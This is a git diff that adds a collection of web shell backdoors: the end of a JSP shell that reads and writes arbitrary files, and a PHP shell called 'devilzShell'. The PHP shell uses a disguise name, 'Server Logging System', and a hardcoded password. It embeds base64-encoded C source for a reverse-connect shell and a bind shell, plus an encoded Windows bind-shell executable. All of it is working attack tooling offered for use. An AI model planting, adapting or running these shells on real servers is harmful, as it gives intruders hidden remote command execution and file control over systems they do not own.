+ String code = htmlspecialchars(xfileopen(fname));
+ fcont = "" + code.replace("\n"," ") + "
";
+ }
+
+ faction = "Edit | Download | Remove ";
+ fview = "[ text ] [ image ] ";
+ }
+ String fperm = xfileperms(fname);
+ String filemtime = xfilelastmodified(fname);
+ result = "";
+}
+else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){
+ String mymsg = "";
+ String pesan = "";
+ String fpath = "";
+ boolean dos = false;
+ if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){
+ if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; }
+ String saveas = request.getParameter("saveas");
+ BufferedWriter outs = new BufferedWriter(new FileWriter(saveas));
+ StringReader text = new StringReader(request.getParameter("filesource"));
+ int i;
+ boolean cr = false;
+ String lineend = "\n";
+ if (dos) lineend = "\r\n";
+ while ((i = text.read()) >= 0) {
+ if (i == '\r') cr = true;
+ else if (i == '\n') {
+ outs.write(lineend);
+ cr = false;
+ }
+ else if (cr) {
+ outs.write(lineend);
+ cr = false;
+ }
+ else {
+ outs.write(i);
+ cr = false;
+ }
+ }
+ outs.flush();
+ outs.close();
+
+ if(is_file(saveas)) pesan = "File Saved";
+ else pesan = "Failed to save file";
+ mymsg = "[ " + pesan + " ] ";
+ }
+ if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) {
+ fpath = request.getParameter("view");
+ if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){
+ fpath = request.getParameter("saveas");
+ }
+ }
+ else fpath = xCwd + request.getParameter("filename");
+
+ StringBuffer result_ = new StringBuffer("");;
+ BufferedReader reader = new BufferedReader(new FileReader(fpath));
+ int i;
+
+ boolean cr = false;
+ while ((i = reader.read()) >= 0) {
+ result_.append((char) i);
+ if (i == '\r') cr = true;
+ else if (cr && (i == '\n')) dos = true;
+ else cr = false;
+ }
+ reader.close();
+ String doz = "";if(dos) doz="true";else doz="false";
+ result = "" + xfilesummary(fpath) + " " + mymsg + "
" +
+ "" +
+ "" + result_ + " " +
+ " " +
+ " " +
+ " " +
+ " ";
+}
+else{
+ result = xdir(xCwd);
+}
+//################# Finalizing #######################======================================================]
+File xcfile = new File(".");
+xCwd = xcfile.getCanonicalPath();
+String html_title = "";
+String html_head = "";
+String html_body = "";
+if(auth){
+ String bportC = "";
+ String lportC = "";
+ if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC");
+ else bportC = shell_fav_port;
+ if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC");
+ else lportC = shell_fav_port;
+
+ html_title = shell_title + " " + xCwd;
+ html_head = "" + html_title + " " +
+" " + shell_style +
+"";
+html_body = "" +
+"
" +
+"
" + xHeader +
+"
" + xdrive() + xparsedir(xCwd) +
+"
" +
+"" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" + result +
+"
";
+}
+else {
+ html_title = shell_fake_name;
+ html_head = "" + html_title + " " + shell_style;
+ html_body = "";
+}
+String html_onload = "";
+if((request.getParameter("cmd")!=null) || (request.getParameter("passw")!=null)){
+ html_onload = " onload=\"document.getElementById('cmd').focus();\"";
+}
+else html_onload = "";
+
+String html_final = "" + html_head +
+"" +
+"" +
+"" + html_body +
+"
";
+%><% out.println(html_final.replace("\\s+"," ").trim()); %>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/Source/devilzShell.php b/Backdoor Dev Shells/Source/devilzShell.php
new file mode 100644
index 0000000..444b133
--- /dev/null
+++ b/Backdoor Dev Shells/Source/devilzShell.php
@@ -0,0 +1,1213 @@
+
+// ^^^^^^^^^^^^
+// author: b374k
+// greets: devilzc0der(s) and all of you who love peace and freedom
+//
+//
+// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+// Jayalah Indonesiaku
+
+
+//################ VARIABLES GOES HERE #######################=============================================]
+$shell_name = "devilzShell";
+$shell_fake_name = "Server Logging System";
+$shell_title = " :: ".$shell_name." ::";
+$shell_version = "v1";
+$shell_password = "devilzc0der";
+$shell_fav_port = "12345";
+$shell_color = "#374374";
+
+// server software
+$xSoftware = trim(getenv("SERVER_SOFTWARE"));
+// uname -a
+$xSystem = trim(php_uname());
+// server ip
+$xServerIP = $_SERVER["SERVER_ADDR"];
+// your ip ;-)
+$xClientIP = $_SERVER['REMOTE_ADDR'];
+
+$xHeader = $xSoftware." ".$xSystem." Server IP: [ ".$xServerIP." ] Your IP: [ ".$xClientIP." ] ";
+
+//################# RESOURCES GOES HERE #######################=============================================]
+$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
+4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
+E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
+dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
+oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH
+0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU
+vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2
+xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp
+gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO
+D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
+$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE
+MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
+$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
+dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
+Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt
+aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
+aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd
+LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
+RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
+Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
+ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
+IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
+ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
+$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
+cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
+CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
+ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy
+ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
+Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
+YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO
+RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
+CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
+bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
+KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
+KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
+ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
+DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
+aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
+CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
+biAwOw0KfQ==";
+$wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
+ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0
+and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA
+ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA
+EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
+AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA
+AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+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
